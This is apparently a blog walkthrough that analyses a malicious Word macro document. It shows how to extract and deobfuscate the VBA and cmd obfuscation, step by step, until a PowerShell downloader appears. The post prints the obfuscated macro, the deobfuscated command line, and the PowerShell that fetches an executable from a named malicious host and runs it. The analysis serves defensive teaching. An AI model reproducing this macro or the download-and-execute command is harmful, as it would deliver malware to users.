Someone on an InfoSec group I participate in asked for help looking at a potentially malicious word doc. I took a quick look, and when I sent back the command line that came out, he asked if I could share how I was able to de-obfuscate quickly. In writing it up for him, I figured it might help others as well, so I’ll post it here as an example.

File Info

Filename BMW_Of_Sterlin.doc
md5 8a9ed3e9bc19b69a04e2c55cf5955afb
VT Link https://www.virustotal.com/#/file/78f91df61f05fbbf08d046621e38d4d36ebe519810973e989e57602236e3dc6a/detection

Metadata

The file was uploaded to VT 2018-09-11 17:19:41 from the US. The creation date was the same day, 2018-09-11 08:27:00. The Author was Apanywaewyraenex-PC, and used a Cyrillic language pack.

VT Detections

When uploaded on 9/11, the detection rate was 19/59. 24 hours later, it had jumped to 31/60:

1536978569785

Document

User Experience

While it’s not necessary for the general analysis, it’s always nice to take a look at what the document actually looks like to the user. In this case, it’s a generic “earlier version of office” lure to enable macros:

1536978687723

VBA

Dumping and Cleaning

First, I’ll dump out the VBA using olevba, just calling it as olevba [filename]. In the output, I see the following three Subs/Functions defined:

  • Document_Open()
  • FPwimk()
  • FScXPdzAh()

There’s also a bunch of junk added to make things more confusing, all in the form of VarType … calls. These lines just evaluate to ints, and are space fillers.

I’ll clean up the output by removing the metadata added by olevba and the VarType lines. One trick in vim is to do :g/VarType/d to quickly delete all of these. I’m left with the following vba:

Private Sub Document_open()
On Error Resume Next
Shell FPwimk + FScXPdzAh, Format(vbHide)
End Sub

Function FPwimk()
On Error Resume Next
USojhESRic
 = Format(Chr(0 + 1 + 2 + 5 + 91)) + "md " + "/V/" + Format(Chr(0 + 1 + 1
 + 3 + 62)) + Format(Chr(0 + 0 + 0 + 1 + 33)) + "s" + "^e^t ^" + "K1" +
"=" + "^ ^    " + "^ ^ ^" + "    "
Tqssc = "   " + " " + "^  }^" +
"}^{^h" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^t^a" + Format(Chr(0 + 1 + 2
 + 5 + 91)) + "};ka^e" + "r^b"
oOsKiVzW = ";" + "z^i^" + "A$ m" + "etI-e" + "^k" + "^" + "o" + "v" + "n" + "I;"
YjmhqPb = ")" + "^zi" + "^A^$^" + " " + "^,dq" + "^f$" + "(^"
krszIdntsUo
 = "e^li^F^" + "dao^lnw" + "^oD." + Format(Chr(0 + 1 + 2 + 5 + 91)) +
"^W" + "V^$" + "{^yrt{)" + "t^" + "I^w^$" + "^" + " ni^ d" + "q^f^$(h" +
 Format(Chr(0 + 1 + 2 + 5 + 91)) + "a^er" + "o^f"
DvWCiTuRV = ";^'e^xe" + ".^'" + "^+Kz" + "^j^$+^'" + "\^'+" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^i" + "l^bu^"
jIBcBnjZ = "p^:vn^" + "e^$=z^" + "i^A$^;^" + "'^9" + "63^" + "' = ^K" + "z^j^$^" + ";" + ")" + "'^@'(" + "t" + "i^l" + "^pS^.^'"
KWsLc = "nkt.2" + "a^g" + "r^at^=l" + "?php.t" + "^o^ksn"
HLFivtYKQ
 = "a" + "po" + "/TT" + "R/mo" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^." +
 "r^j^" + "5om" + "2" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^s^e"
wRhwirP = "fd5^9" + "t" + "//:p^t^" + "t^h'=" + "tI^w"
vcjvLjqHS
 = "$" + ";^tn^e" + "^il" + Format(Chr(0 + 1 + 1 + 3 + 62)) + "be^" +
"W^.^" + "t^eN" + " ^t" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^ej" +
"^bo^" + "-^w^"
aPaiGjc = "en=" + Format(Chr(0 + 1 + 2 + 5 + 91)) +
"W" + "V" + "$^" + " ^lle" + "h^sr" + "^e^w^o" + "^p&&" + "for
/^" + "L %R " + "^in (" + "2^6" + "^5^;-^" + "1"
kBEtovj = ";^0)d" + "^" + "o ^" + "se^t ^Z" + "^Y=" + "!^Z^" + "Y!" + "!^K1:~%" + "R" + ",1!&&i"
FPwimk
 = USojhESRic + Tqssc + oOsKiVzW + YjmhqPb + krszIdntsUo + DvWCiTuRV +
jIBcBnjZ + KWsLc + HLFivtYKQ + wRhwirP + vcjvLjqHS + aPaiGjc + kBEtovj
End Function


Function FScXPdzAh()
On Error Resume Next
XmdrRVAlf = "^" + "f %R" + "=" + "=" + "^0 " + Format(Chr(0 + 1 + 2 + 5 + 91)) + "a" + "^l^l %^" + "Z^" + "Y:*^ZY^"
ZsfrSsv = "!" + "=%" + Format(Chr(0 + 0 + 0 + 1 + 33)) + "  " + ""
FScXPdzAh = XmdrRVAlf + ZsfrSsv
End Function

Deobfuscating VBA

The function that’s run on open simply appends the output of the other two, and passes that to a shell. The other two are just doing lots of string building. Since I don’t have a VBA emulator handy, but I do have python, I’ll look at the code with an eye towards how much would have to change to get it to run as python.

Short answer, not much. There are two functions that python will choke on: Format and Chr. But Format called with only one parameters in VBA just returns that parameter. And Chr is the same as chr in python.

So I popped open a python shell. First, I’ll define the functions I need (easier than editing them out of the text). Then I’ll paste in the string definitions from the VBA, doing the Document_Open one last, since it relies on the other two. For those unfamiliar with python’s lambda format, lambda [var] : [return value] simply defines a function that takes one parameter and returns it.

>>> # Create Functions to emulate VBA
...
>>> Format = lambda x : x
>>> Chr = chr
>>>
>>> # Strings from FPwimk function
...
>>> USojhESRic = Format(Chr(0 + 1 + 2 + 5 + 91)) + "md " + "/V/" + Format(Chr(0 + 1 + 1 + 3 + 62)) + Format(Chr(0 + 0 + 0 + 1 + 33)) + "s" + "^e^t ^" + "K1" + "=" + "^ ^    " + "^ ^ ^" + "    "
>>> Tqssc = "   " + " " + "^  }^" + "}^{^h" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^t^a" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "};ka^e" + "r^b"
>>> oOsKiVzW = ";" + "z^i^" + "A$ m" + "etI-e" + "^k" + "^" + "o" + "v" + "n" + "I;"
>>> YjmhqPb = ")" + "^zi" + "^A^$^" + " " + "^,dq" + "^f$" + "(^"
>>> krszIdntsUo = "e^li^F^" + "dao^lnw" + "^oD." + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^W" + "V^$" + "{^yrt{)" + "t^" + "I^w^$" + "^" + " ni^ d" + "q^f^$(h" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "a^er" + "o^f"
>>> DvWCiTuRV = ";^'e^xe" + ".^'" + "^+Kz" + "^j^$+^'" + "\^'+" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^i" + "l^bu^"
>>> jIBcBnjZ = "p^:vn^" + "e^$=z^" + "i^A$^;^" + "'^9" + "63^" + "' = ^K" + "z^j^$^" + ";" + ")" + "'^@'(" + "t" + "i^l" + "^pS^.^'"
>>> KWsLc = "nkt.2" + "a^g" + "r^at^=l" + "?php.t" + "^o^ksn"
>>> HLFivtYKQ = "a" + "po" + "/TT" + "R/mo" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^." + "r^j^" + "5om" + "2" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^s^e"
>>> wRhwirP = "fd5^9" + "t" + "//:p^t^" + "t^h'=" + "tI^w"
>>> vcjvLjqHS = "$" + ";^tn^e" + "^il" + Format(Chr(0 + 1 + 1 + 3 + 62)) + "be^" + "W^.^" + "t^eN" + " ^t" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "^ej" + "^bo^" + "-^w^"
>>> aPaiGjc = "en=" + Format(Chr(0 + 1 + 2 + 5 + 91)) + "W" + "V" + "$^" + " ^lle" + "h^sr" + "^e^w^o" + "^p&&" + "for /^" + "L %R " + "^in (" + "2^6" + "^5^;-^" + "1"
>>> kBEtovj = ";^0)d" + "^" + "o ^" + "se^t ^Z" + "^Y=" + "!^Z^" + "Y!" + "!^K1:~%" + "R" + ",1!&&i"
>>> FPwimk = USojhESRic + Tqssc + oOsKiVzW + YjmhqPb + krszIdntsUo + DvWCiTuRV + jIBcBnjZ + KWsLc + HLFivtYKQ + wRhwirP + vcjvLjqHS + aPaiGjc + kBEtovj
>>>
>>> # Strings from FScXPdzAh function
...
>>> XmdrRVAlf = "^" + "f %R" + "=" + "=" + "^0 " + Format(Chr(0 + 1 + 2 + 5 + 91)) + "a" + "^l^l %^" + "Z^" + "Y:*^ZY^"
>>> ZsfrSsv = "!" + "=%" + Format(Chr(0 + 0 + 0 + 1 + 33)) + "  " + ""
>>> FScXPdzAh = XmdrRVAlf + ZsfrSsv
>>>
>>> # From Document_Open, string passed to Shell
...
>>> print FPwimk + FScXPdzAh
cmd /V/C"s^e^t ^K1=^ ^    ^ ^ ^        ^  }^}^{^hc^t^ac};ka^er^b;z^i^A$ metI-e^k^ovnI;)^zi^A^$^ ^,dq^f$(^e^li^F^dao^lnw^oD.c^WV^${^yrt{)t^I^w^$^ ni^ dq^f^$(hca^ero^f;^'e^xe.^'^+Kz^j^$+^'\^'+c^il^bu^p^:vn^e^$=z^i^A$^;^'^963^' = ^Kz^j^$^;)'^@'(ti^l^pS^.^'nkt.2a^gr^at^=l?php.t^o^ksnapo/TTR/moc^.r^j^5om2c^s^efd5^9t//:p^t^t^h'=tI^w$;^tn^e^ilCbe^W^.^t^eN ^tc^ej^bo^-^w^en=cWV$^ ^lleh^sr^e^w^o^p&&for /^L %R ^in (2^6^5^;-^1;^0)d^o ^se^t ^Z^Y=!^Z^Y!!^K1:~%R,1!&&i^f %R==^0 ca^l^l %^Z^Y:*^ZY^!=%"

Deobfuscating Dosfuscation

Well, that’s clearly using some dosfuscation. The first step is to remove all the ^s:

>>> out.replace('^','')
'cmd /V/C"set K1=                 }}{hctac};kaerb;ziA$ metI-ekovnI;)ziA$ ,dqf$(eliFdaolnwoD.cWV${yrt{)tIw$ ni dqf$(hcaerof;\'exe.\'+Kzj$+\'\\\'+cilbup:vne$=ziA$;\'963\' = Kzj$;)\'@\'(tilpS.\'nkt.2agrat=l?php.toksnapo/TTR/moc.rj5om2csefd59t//:ptth\'=tIw$;tneilCbeW.teN
tcejbo-wen=cWV$ llehsrewop&&for /L %R in (265;-1;0)do set
ZY=!ZY!!K1:~%R,1!&&if %R==0 call %ZY:*ZY!=%"  '

The resulting command line does a few things:

  • Sets a variable K1 to a long string
  • Runs a for loop over a variable %R from 265 down to 0 subtracting 1
  • In that loop, it sets Z1 = Z1 + the Rth character in K1
  • If R is 0 it executes the string in Z1

We can do the same thing with python:

That is basically reversing the string. We can do that in python:

>>> string = '                 }}{hctac};kaerb;ziA$ metI-ekovnI;)ziA$ ,dqf$(eliFdaolnwoD.cWV${yrt{)tIw$ ni dqf$(hcaerof;\'exe.\'+Kzj$+\'\\\'+cilbup:vne$=ziA$;\'963\' = Kzj$;)\'@\'(tilpS.\'nkt.2agrat=l?php.toksnapo/TTR/moc.rj5om2csefd59t//:ptth\'=tIw$;tneilCbeW.teN tcejbo-wen=cWV$ llehsrewop'

>>> string[265:0:-1]
"powershell $VWc=new-object Net.WebClient;$wIt='http://t95dfesc2mo5jr.com/RTT/opanskot.php?l=targa2.tkn'.Split('@');$jzK = '369';$Aiz=$env:public+'\\'+$jzK+'.exe';foreach($fqd in $wIt){try{$VWc.DownloadFile($fqd, $Aiz);Invoke-Item $Aiz;break;}catch{}}                "

Now we have some nice powershell, which cleaned up, looks like this:

$VWc=new-object Net.WebClient;
$wIt='<http://t95dfesc2mo5jr.com/RTT/opanskot.php?l=targa2.tkn'.Split('@')>;
$jzK = '369';
$Aiz=$env:public+'\\'+$jzK+'.exe';
foreach($fqd in $wIt) {
  try{
    $VWc.DownloadFile($fqd, $Aiz);
    Invoke-Item $Aiz;break;
  } catch{
  }
}

So, it downloads a file from http://t95dfesc2mo5jr.com/RTT/opanskot.php?l=targa2.tkn, saves it as 369.exe in the public folder, and runs it.

A Google search of that url shows that it is malicious (not surprising) and that it was registered the day before the document was sent:

1536979478601

Summary

There’s nothing particularly interesting about this malware. But getting comfortable with linux command line tools for pulling VBA out of documents and deobfuscating is a skill that’s worth developing and practicing. Hopefully this was helpful (leave a comment if so!).